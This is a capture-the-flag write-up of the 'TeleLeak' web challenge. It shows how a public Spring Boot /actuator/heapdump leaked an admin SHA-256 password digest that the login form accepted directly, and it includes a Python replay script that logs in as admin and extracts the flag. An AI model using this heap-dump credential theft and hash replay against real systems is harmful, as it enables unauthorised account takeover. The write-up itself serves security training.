TeleLeak

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: credential_extraction, hash_reuse_login, heapdump_analysis

Summary

Walkthrough of the CUSTOM Web TeleLeak. Task: a public Spring Boot site blocks new registration but exposes /actuator/heapdump, leaking live authentication material. Solution: recover the admin SHA-256 password value from memory and submit

---

title: "TeleLeak" id: 20260410_metactf_teleleak category: web difficulty: easy event: metactf tags: ["sha256", "authentication_bypass", "credential_leak", "spring_boot", "actuator", "heapdump"] techniques: ["credential_extraction", "hash_reuse_login", "heapdump_analysis"] tools: ["python3", "curl", "browser"] indicators: ["public /actuator endpoint", "accessible /actuator/heapdump", "client-side SHA-256 login hashing", "registration blocked with hint about existing account", "Spring Boot session and CSRF flow"]

TeleLeak — MetaCTF

Summary

The application exposed Spring Boot actuator endpoints to unauthenticated users. The heap dump contained the admin credential material, and because the login form submitted a SHA-256 digest directly, the leaked hash was enough to sign in and read the flag from the admin dashboard.

Description

Goal: gain access to an existing account and recover the flag.

Target used: https://teleleak.umbccd.net.

Recon

• The site used a Java / Spring Boot stack, visible from JSESSIONID, CSRF handling, and the login flow.
• /login hashed the password client-side with SHA-256 and sent the hex digest in the password field.
• /register existed, but submitting there redirected to /regLimit.html with the hint: Maybe you can find a way to get into an existing account ;)
• /actuator was publicly accessible and exposed /actuator/heapdump.

Those signs strongly suggested a memory disclosure path instead of normal registration or password guessing.

Analysis

The key issue was the public heap dump. A Spring Boot heap dump can contain live objects, request state, secrets, session data, and cached credentials. In this case, the dump leaked reusable admin login material.

The login implementation made the exposure worse: the browser did not send the plaintext password. It sent a SHA-256 hex digest as the actual password value. That means the server accepted the digest itself as the login secret, so a leaked hash could be replayed directly.

Recovered credential material:

• Username: admin
• Password field value: f374e70b2d71eb7188c0eda0b6a13d47ca5abd681118de48354f003d8af534f5

Exploitation

1. Browse to /actuator and confirm the heap dump endpoint is public.
2. Download or inspect /actuator/heapdump.
3. Search the dump for credential material and recover the admin username plus the accepted password-field value.
4. Submit a normal login request as admin, but use the leaked SHA-256 digest directly in the password field.
5. Visit /admin/dashboard after successful authentication and read the flag.

Example replay script:

 python read-only • copy allowed Copy
#!/usr/bin/env python3
import re
import requests

BASE = "https://teleleak.umbccd.net"
USERNAME = "admin"
PASSWORD_FIELD = "f374e70b2d71eb7188c0eda0b6a13d47ca5abd681118de48354f003d8af534f5"

s = requests.Session()

# Get login page and CSRF token
r = s.get(f"{BASE}/login")
r.raise_for_status()

csrf_match = re.search(r'name="_csrf" value="([^"]+)"', r.text)
if not csrf_match:
    raise SystemExit("CSRF token not found")
csrf = csrf_match.group(1)

# The application expects the SHA-256 digest directly in the password field
r = s.post(
    f"{BASE}/login",
    data={
        "username": USERNAME,
        "password": PASSWORD_FIELD,
        "_csrf": csrf,
    },
    allow_redirects=True,
)
r.raise_for_status()

dashboard = s.get(f"{BASE}/admin/dashboard")
dashboard.raise_for_status()

flag_match = re.search(r'(Dawgctf\{[^}]+\})', dashboard.text)
if flag_match:
    print(flag_match.group(1))
else:
    print(dashboard.text)

Key Takeaways / Lessons

• Mastering credential_extraction, hash_reuse_login, heapdump_analysis was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-04-10 • CUSTOM • TeleLeak • Difficulty: Easy